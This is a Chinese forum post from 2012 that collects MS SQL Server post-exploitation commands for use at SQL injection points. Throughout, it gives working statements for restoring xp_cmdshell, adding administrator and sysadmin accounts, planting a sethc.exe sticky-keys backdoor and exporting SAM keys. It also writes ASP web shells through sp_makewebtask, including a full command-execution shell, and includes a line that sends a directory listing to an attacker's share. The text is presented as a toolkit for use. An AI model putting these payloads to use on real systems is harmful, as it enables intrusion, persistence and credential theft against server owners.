找回密码
 立即注册
查看: 2980|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号$ N4 t4 a# Z  a3 c. G2 G- B& s
恢复方法:查询分离器连接后,, f! x; L$ N0 f) x2 G4 |
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int ) H7 P1 u! A8 I4 l- B1 j/ u
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3 y' |4 H. `- P7 x% c5 N然后按F5键命令执行完毕
: q$ U0 V% q, Z$ s3 Z1 _3 @" e
+ S. L( L" _9 i7 ^2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
$ `% b- o9 `- Z恢复方法:查询分离器连接后,9 A. G* x8 |1 R; J8 Q5 j! \
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell") O4 T. j" ]1 X' N( g& N9 q+ Z
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'6 b+ v- ?$ N) Y6 B; ]
然后按F5键命令执行完毕+ C' G- E, S: P, F1 y, K' f

' G0 W/ {# c3 N# ~3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
, g% Q" Z. G8 ~0 b  B恢复方法:查询分离器连接后,
: @; ^3 D, G) ?1 G8 r$ P第一步执行:exec sp_dropextendedproc 'xp_cmdshell'! _0 ~# l$ t9 x( O4 o
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
2 G! U7 g7 `9 q6 j8 v然后按F5键命令执行完毕5 a7 t# S7 Y! c  i
; Y5 T" ?, f9 D1 L* S" a( {' Q8 g7 B
4 终极方法.
- _' N7 r: P4 `: G& T! I- e如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:# K$ X% Q  F# X
查询分离器连接后,6 c" r" o. r) r5 d( i
2000servser系统:6 A4 `$ a& f9 r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
! M: |4 ^8 e$ X; n  V" J% U2 d* Q1 e& X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
" e- D& t4 a, a7 |+ G) m
& [( M) j/ F/ g6 Axp或2003server系统:
( o) [- [0 q7 _4 w- I$ o5 K
4 z- `( u& m5 z% S: J' g7 V7 odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'1 J9 Y4 d4 w  c) \! I9 l8 t
' O3 Y/ Y" f# u
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
& \) G# U" T# K  B; k: G
7 q2 d: a; x" o! g6 N4 M; e9 H+ W6 W" [$ w8 {5 [! B4 U" h5 Q
五个SHIFT
+ @; C1 @4 k: j: N& @$ `3 q8 adeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
; p3 z' Z* R% D, j2 ~# g
- k) ]) C6 ]* H1 ]declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; % o3 Q* l2 A$ ~9 u2 n6 y6 B' ~
% H! {0 M" ^% x* S% D! x  i
xp_cmdshell执行命令另一种方法
4 y& c9 j( @. X* H" k: Gdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ' t' i; e- O, w$ f# {
! A% _: u, r; {; ~3 g; r" O7 X
判断存储扩展是否存在- X- \8 N& p! `( h* m) i3 C+ E6 j
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'" v8 j% a$ Y) z) E7 s! x* h/ l$ T
返回结果为1就OK
# C6 ^& \- y* n- `8 B6 H0 @( J; r" \

' F$ s% L, U  F( V上传xplog70.dll恢复xp_cmdshell语句:, R# P* b' R! i& u
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
( u2 K" k$ S% X) Z4 p, g; q3 v7 U3 i
: O0 }+ k7 P- d+ M. m; l; ]! u) o否则上传xplog7.0.dll+ U# T: y, X' c' a- R. P
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'- G" y  J- y1 [0 g  A! r

6 c( J( L3 Q: Q- }
( b2 S9 h9 v+ \  v" h2 p8 s. H/ N/ ]% y
首先开启沙盘模式:
1 [. T( h, x3 l1 C/ ~/ nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 u8 [7 G2 L# j) }8 `

# Q/ p  w3 x5 p3 H然后利用jet.oledb执行系统命令6 z! C- t: a( K) y' H" c; {
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
- w% ~0 `8 f$ [, O0 j  H3 l& q0 _返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了8 u6 H7 n* L7 |3 Z2 z5 R

! ^. P7 E& }" q) W; ^* l, c' X
6 X6 p$ E0 J: _. V. g" i" T3 r& S4 M& c6 q1 g3 C  a" [3 [
恢复过程sp_addextendedproc 如下:
: Z( u% {9 Q9 s5 b- `9 _create procedure sp_addextendedproc --- 1996/08/30 20:13 $ h, ]3 G( L8 S2 w& W
@functname nvarchar(517),/* (owner.)name of function to call */ # R  J3 N2 }8 R# F
@dllname varchar(255)/* name of DLL containing function */
9 T3 c# p# E( m+ q( c5 v; nas
; Y) k) j( j( ?3 vset implicit_transactions off
" t4 c% P3 j4 z* m4 P% Gif @@trancount > 0
+ u, \, O/ L, u) }" ^- Wbegin 5 l$ A& m% f) O" i& T4 \
raiserror(15002,-1,-1,'sp_addextendedproc') : W: h) r' f3 B* N4 i/ A
return (1) ' A  g  P" m. C! U
end 5 \( n% e; r8 v- i( q4 j8 @( {
dbcc addextendedproc( @functname, @dllname) & T3 K' \+ U' ^; U' n% o
return (0) -- sp_addextendedproc
$ j  I" Y( z8 e  f0 p2 k, nGO 2 |3 t- {2 b" t

6 c; c2 Z+ B% G/ ?' @" p  _6 Q# v$ Z  I0 c0 x2 b+ F
" y+ h- f0 r6 E: ]8 G
导出管理员密码文件
' P0 `, _( A# E' F0 Q" vsa默认可以读sam键.应该。
3 s3 _  {( x3 u4 m7 `reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
( O' t) }5 o, H. S6 \- @. lnet user administrator test# u2 R, l5 p0 I3 L
用administrator登陆.
% m$ A# d9 }# d8 |( i用完机器后
+ y& Q8 U9 _# l& w1 ~! jreg import c:\test.reg
- [' Q$ [. N8 D0 t! d根本不用克隆.
# K/ m9 |; }& c3 |找到对应的sid.
0 a1 q9 B7 j! W+ b: Q9 c1 i! X3 S8 \$ i; N5 t* n

/ k3 W8 a+ U% B" N5 t" A' \! O" j0 f3 T  ~$ u- e
恢复所有存储过程# q0 ]0 ?, J( K- f/ f3 j* v1 c* w
use master
4 e1 d/ h+ B* jexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
5 N2 J9 U  m% Nexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
; t7 F0 Y% [7 G5 lexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
3 I& f$ a/ {' h& N5 [8 `0 t0 e* cexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' / Q9 f  l; s4 t- @
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' , |; U4 u- b3 V0 e# U5 K2 `% s
exec sp_addextendedproc sp_OACreate,'odsole70.dll' ) n5 j- w( B' _
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 6 I3 l: B$ T# v: a
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
/ Q& I" T" h# _; r# _exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' , R: \  D9 c, k" |  l
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
# |- y" v& Q  h- ]4 l0 ~, X5 `exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' . X+ A) O/ }! J# d/ b
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
# P8 R0 ~# M/ J; l( gexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 5 N+ l5 v& J& e: i* x6 C- |
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' ) q+ i+ |) ]$ M' E& o  L
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'   Z  y! l# K+ e3 t
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
# }& ?1 |3 |" p$ {exec sp_addextendedproc xp_regread,'xpstar.dll'
/ w! m/ p" Y; J# ^exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' : _0 h; T) u. V- \% _8 c3 e+ U3 i
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
6 F' r: Q- J; _& aexec sp_addextendedproc xp_availablemedia,'xpstar.dll'+ D$ `/ }! m) m5 ?' g

  G* v4 `/ x# s5 {- M; P6 s4 ?' R
6 [* W* u/ z; c建立读文件的存储过程
8 d2 o2 E2 P* I* \+ T8 Q% ZCreate proc sp_readTextFile @filename sysname2 @$ X6 o; O- U  ?$ J& _- s& w2 m) N
as6 g! p2 A7 s) x0 ^9 }6 {5 W  C

; [  |3 h* H% s% A9 L    begin ( t3 o; D. ^6 p
    set nocount on 8 r$ {, q! y7 W  e4 r3 Z' C9 v4 r
    Create table #tempfile (line varchar(8000)); s+ g% I8 Q, y+ ?( {
    exec ('bulk insert #tempfile from "' + @filename + '"'), V* t9 ~3 L5 W5 [
    select * from #tempfile
8 @* ?" Q' p0 F/ J# n    drop table #tempfile1 A7 V$ m' K, v: B) b
End5 l: k& j5 q' F) X( {. ?. u' Q

) ]4 d. T( ]! k& {2 ?- Mexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
" g4 a. n9 y4 w2 M. z+ T2 X! x" W查看登录用户
- J, j( R. j( H3 z8 ?Select * from sysxlogins% W9 N; ~/ `# l! p! ]" l. A. l
  _* u: @: q  X3 |3 Y
把文件内容读取到表中* X+ `7 m; ~; g
BULK INSERT tmp from "c:\test.txt"* J5 Q4 j4 C5 e* m
dElete from 表名 清理表里的内容
& g4 T; K6 {' H) X( Kcreate table b_test(fn nvarchar(4000));建一个表,字段为fn7 o9 @& L( Z$ l" h3 Z

( g1 m% C! R7 q  F2 M7 [
2 O1 N, n2 F% n7 j; b# A加sa用户
; T7 z# ?6 u& G( z3 Aexec master.dbo.sp_addlogin user,pass;
5 k0 b1 |! m) n; nexec master.dbo.sp_addsrvrolemember user,sysadmin% z: C% T& b( w) I* p  J" t& X) `) L7 l9 r
& m+ G  h. i: |" p3 a

  Z1 r3 S; K6 X7 w
/ N& L. y7 U# n- o+ z% B读文件代码
/ F; q2 @4 t' o& A2 Z$ V& {declare @o int, @f int, @t int, @ret int  ~+ S8 v7 k; J, g) u2 q
declare @line varchar(8000)  a, N  Z. Z4 Q( G
exec sp_oacreate 'scripting.filesystemobject', @o out* R' B, x! p3 `# Y( N) z
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 16 _1 D8 ^# b" o$ b& J  E3 c
exec @ret = sp_oamethod @f, 'readline', @line out
4 B( c5 |1 l7 C4 F% w1 S0 K3 }/ awhile( @ret = 0 )! }) T  {& V; l0 O; ~
begin
" n; _/ L7 K3 }) b- r! ^* Sprint @line0 H& }# I. ~6 a4 }
exec @ret = sp_oamethod @f, 'readline', @line out
8 X/ j7 R) b" n' F* \4 e' {end
, h, h* H$ ?8 x% U; D9 E* W2 O& J: ?: u; p* k# }: j

6 ]' X/ S- h2 Q: K1 j$ O' y5 i写文件代码:
  P9 l% k2 Q4 Ydeclare @o int, @f int, @t int, @ret int( ]6 L" }: z; J( _- I3 {
exec sp_oacreate 'scripting.filesystemobject', @o out
! h, k# y2 w2 {& u1 y. o6 Eexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
& Z# ~- [: a2 v7 S5 j3 Hexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》" D5 I. Q1 G/ \% v! S* @

1 ]/ e6 s/ }9 w* g, L# ~
# Q' F4 O$ k" w! V% m2 W添加lake2 shell, U! i, m0 R) ?- D8 c. x
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'. c+ o* h; m( q& {( \% `
sp_dropextendedproc xp_lake2* {* g/ x; ^# g& X% a2 P
EXEC xp_lake2 'net user'0 L9 m6 _* S$ S8 N3 j

2 a& o) s3 o* e+ `& K
) u* ]; M$ i- i: k# C# P得到硬盘文件信息 ( e$ q1 u1 N- x4 d% _7 w, j
--参数说明:目录名,目录深度,是否显示文件 ) w' p; @1 y7 a0 S& X- y4 p
execute master..xp_dirtree 'c:' + I$ B- \" Q3 R" W! J
execute master..xp_dirtree 'c:',1
; L2 z% j+ |$ v! r4 @' N, q  D& Sexecute master..xp_dirtree 'c:',1,1 ; E% d* f& l6 P$ Z  P1 _

: U: C- m2 C7 z5 a6 n
4 `+ G# U! s# |% \读serv-u配置信息
0 E8 U  F0 c3 J5 Sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'+ C3 ~0 r3 ]1 U0 G9 M
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'- U8 q" V) @) E" J

. y1 N: U% y9 z6 k% G通过xp_regwrite写SHIFT后门8 b) E' n8 x) ~
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
6 S6 p( p, [3 r( H) P! }2 O$ y/ K" X+ I
% J2 n" r8 ~4 g$ l) w. N: X7 h9 Z8 a/ t

, O, e# P" ]# I+ p) W7 a4 T7 {找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
/ x1 [& J4 x" O5 H" C: h; yexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了1 n/ @: v3 I' a5 r

; n+ R. A; T& ~/ X8 V. g" I% ]EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表', K- q' b" p+ c) V  D& Z4 h

% ~% f$ J* H1 y6 t# |: L/ D' b+ O4 i( P3 o9 c9 S) a+ m
5 S1 Z0 }1 \/ U8 P" q3 `/ J# U
sql server 2005下开启xp_cmdshell的办法
/ H3 s6 ^8 Y6 r& g# s- @% k9 G
1 v& x1 j9 r+ OEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;! f0 m9 U1 A) {9 K; t' I
9 r9 ]+ o/ |7 n( K5 |+ ?- m
SQL2005开启'OPENROWSET'支持的方法:% Z  T  X6 Q  j7 i: u

3 c0 ?5 h6 b' N5 g7 Rexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
, x6 `9 b/ w# `# T9 {! R! D
& z4 {2 |# D1 hSQL2005开启'sp_oacreate'支持的方法:
- `2 C  T  c! B2 p
0 x: j% X6 s" C; A0 @exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 `+ W! M$ N2 N+ P2 k* t7 F+ Z8 D4 @9 f
2 b: Y# c! j+ V( y2 }
! e+ u; H) `* z8 m2 D3 |

; d$ U; a% s5 q9 }
; Q' \/ l5 a) v/ l0 Z6 G+ d# o. B3 U
5 r# ?8 B2 E" T& y- G/ b" u! B) _* s: N% o7 v% j+ N
. O5 b% }5 N4 |" b2 x/ ?' S
% Y: g! e7 Y9 ]$ C7 A% y

* t7 z0 J  |. ~& O% u% P, s7 w- _4 I- x4 E8 C8 @7 g
  Q: E% X, W  f7 j
# Q7 u& O: S5 G! {
. q9 ^: s; F3 ~+ J
" N% t0 t  l, [, Y' g* Z& J! [

# d$ Z$ [5 a+ Y! W+ d0 P: I+ w0 \, B
: E; h/ m: |3 v
$ X: b" F7 M/ @- V' Z; Q
9 O' z  R6 Z0 e2 S" L+ c( ]
+ N% E, q% v4 m$ _- V8 _
5 [: X: G: l7 D  B, K9 O$ p. {1 F

( b! O5 a7 D/ I1 E5 b, T/ ?
7 a" i, v0 i& A! j7 A7 F3 \以下方面不知道能不能成功暂且留下研究哈:) i+ k* J! ?% U0 f3 Q3 l* {
4)* e  F# i8 J4 M6 q* D
use msdb; --这儿不要是master哟, C& r- ?. {/ w+ ?% A0 N
exec sp_add_job @job_name= czy82 ;
6 j% ~. s' n: M9 qexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
  p/ V2 b$ p$ @. eexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;8 j8 w) }2 o# Y  X+ b
exec sp_start_job @job_name= czy82 ;# l' C4 f! S& h- U" f7 D
/ I0 ]2 f; {/ S- Q5 B
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以) g4 w, E+ {3 _& d% x: L
执行tsql语句了., w' _) T2 @+ Y* V. ]
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
- K$ {* ]" E8 N1 ^! M; l第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧). R, e" W* o& ?5 A" N
net start SQLSERVERAGENT: R" Z2 s# Q* x. Q5 p& N9 {+ u
6 d5 s0 j2 R3 @0 B
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
6 q1 s- a4 F! p: i2 s" M& OUSE msdb: F3 P- q# y* P: G
EXEC sp_add_job @job_name = GetSystemOnSQL ,
! F9 M- T8 e; P' x  [) V0 Z@enabled = 1,& Q8 H( f% a% j6 J$ u* u- O
@description = This will give a low privileged user access to
- L( K4 K% `. [+ N! m3 m7 Bxp_cmdshell ,
3 Y2 c: ^5 \/ v# e# Q; \@delete_level = 1
; C7 _- e7 Q* E( [3 S9 s* HEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,  W: M, s2 M' f. b* `
@step_name = Exec my sql ,) ]+ \( K9 x" N$ A
@subsystem = TSQL ,+ |" v4 D; A( P% C
@command = exec master..xp_execresultset N select exec$ [* J" n* D" }4 Z
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 5 m; t5 N) X( ^1 ^- E
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
7 {. W9 H) h: n* u7 I@server_name = 你的SQL的服务器名 1 N+ s- ]% k: d, z/ q, U8 l
EXEC sp_start_job @job_name = GetSystemOnSQL 9 R. K( _  O9 u4 P9 x

  R  w% I! |4 ?4 z不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以6 C( W1 Q/ j- G: L2 Q
才让我们可以以public执行xp_cmdshell" ^( V2 {$ B: A# R$ Z2 [" K1 I/ ?4 k

! J1 A9 S2 Z  n! z# A5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)" m# ]* _- ^0 B% @( |
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968) C# R( `% e+ K& z6 L2 }
  e$ ?, x' W. @7 B* W' a. f
USE msdb
( Q7 o: F, Q* A7 d3 SEXEC sp_add_job @job_name = ArbitraryFilecreate ,
% g0 o1 K$ V. L$ o@enabled = 1,2 g. g1 L$ L5 H0 O7 e! J& Y, l! s
@description = This will create a file called c:\sqlafc123.txt ,' `' S  t( d1 a3 l  N
@delete_level = 1
0 s! h# u8 U+ P, }EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
+ z* T( P* [; S& z, [. K& x1 h@step_name = SQLAFC ,5 C  I- M0 n* T# G
@subsystem = TSQL ,) b% S6 `% M5 B
@command = select hello, this file was created by the SQL Agent. ,
! b9 ?" E' W% ]$ u2 n$ p# g3 H@output_file_name = c:\sqlafc123.txt 4 r" }/ u* w* Q) U9 C
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,0 Q- d3 D) s  l* ?8 A
@server_name = SERVER_NAME " t* [1 C1 ]3 q( Z& C4 Y
EXEC sp_start_job @job_name = ArbitraryFilecreate
5 _4 X6 _$ n% F  C) E
8 U, k& ?( j6 v如果subsystem选的是:tsql,在生成的文件的头部有如下内容) K+ r1 ?- g2 z. y

1 |2 {) {1 r: l4 u- z5 c" I??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19; a* E: F' f: |# ]+ g
----------------------------------------------8 Y; H1 j; |9 s* K
hello, this file was created by the SQL Agent.
- }' `" P9 ?8 [! C' R* e2 h5 a* r+ }, ~4 Q9 X
(1 ?????)' Y: f. |: v, i$ x$ }' d5 h; u

% ^0 ~* P! c, [( A所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
" ?& I2 m8 |* B/ _9 e0 d( E1 H命令的vbs文件到启动目录!
2 K" U/ L0 C$ B7 S' h# E
! f) G. Y: j' C3 p) B; p6)关于sp_makewebtask(可以写任意内容任意文件名的文件)$ m( ?, j* l6 y% H" |# {
关于sp_MScopyscriptfile 看下面的例子) Q4 U& n" c* j8 t$ E: |" F2 \
declare @command varchar(100) " V- u" v% |) j* i
declare @scripfile varchar(200) 0 K8 ^+ M+ j9 _
set concat_null_yields_null off
# L; J& e. z) [: wselect @command= dir c:\ > "\\attackerip\share\dir.txt" # _* S1 I( V# i& C
select @scripfile= c:\autoexec.bat > nul" | @command | rd " " E; U1 w- T. R2 x: _* s+ r
exec sp_MScopyscriptfile @scripfile , : p! z+ Y/ U4 I' l, e9 e* M  S
* o4 E; N4 l3 Y) w/ [+ i. t
这两个东东都还在测试试哟& u/ y- y$ ?- \% G
让MSSQL的public用户得到一个本机的web shell
9 U" G9 D7 i3 [
, [- O. O% |; Esp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,, |. E$ V# G/ r
--@query= select <img src=vbscript:msgbox(now())>
% n4 N% {  B  Y! e--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> . Z* c8 T, r& P8 z$ R# F
@query= select
: U( r4 S+ I5 e<%On Error Resume Next
4 ^' c8 O4 ^; J" A0 m6 ~Set oscript = Server.createObject("wscript.SHELL") $ S2 d: X' T" x( z* q, t# H
Set oscriptNet = Server.createObject("wscript.NETWORK")
) v1 Z" _$ f) G/ @/ c& i# \2 tSet oFileSys = Server.createObject("scripting.FileSystemObject") 7 @2 Z% R( H0 w5 j; j8 A9 J
szCMD = Request.Form(".CMD")
: y# [7 Q7 c. O3 s& j' }2 ^4 WIf (szCMD <>"")Then ( `* K" W4 u0 z6 `
szTempFile = "C:\" & oFileSys.GetTempName()
. @& a4 `* n1 V' H& V9 QCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
2 B+ }1 [* }, i6 C, iSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) / \' n5 f$ q! \4 ]' j
End If %> 3 _2 Q7 {3 t0 C5 ^$ U
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
$ g" z) d& p9 @6 }5 M<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> . q9 e: F4 N$ l- q
</FORM><RE> 9 v2 |4 Z. W+ \* I8 {, G
<% If (IsObject(oFile))Then # f: F* e3 G; `( ^' |  C
On Error Resume Next ! t$ m" S% Y0 T: ^  z& q$ w7 o( a5 p
Response.Write Server.HTMLEncode(oFile.ReadAll)
% f# y; h( G7 l  u# goFile.Close 8 x1 I0 _) x* [1 i  y. d4 y8 T) z
Call oFileSys.deleteFile(szTempFile, True) " y: O+ R% F) m" S
End If%>
( A2 q% ~# Z4 @! T1 S</BODY></HTML> 2 L" [7 |7 }$ m0 W1 e3 H' F2 m& Q5 c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表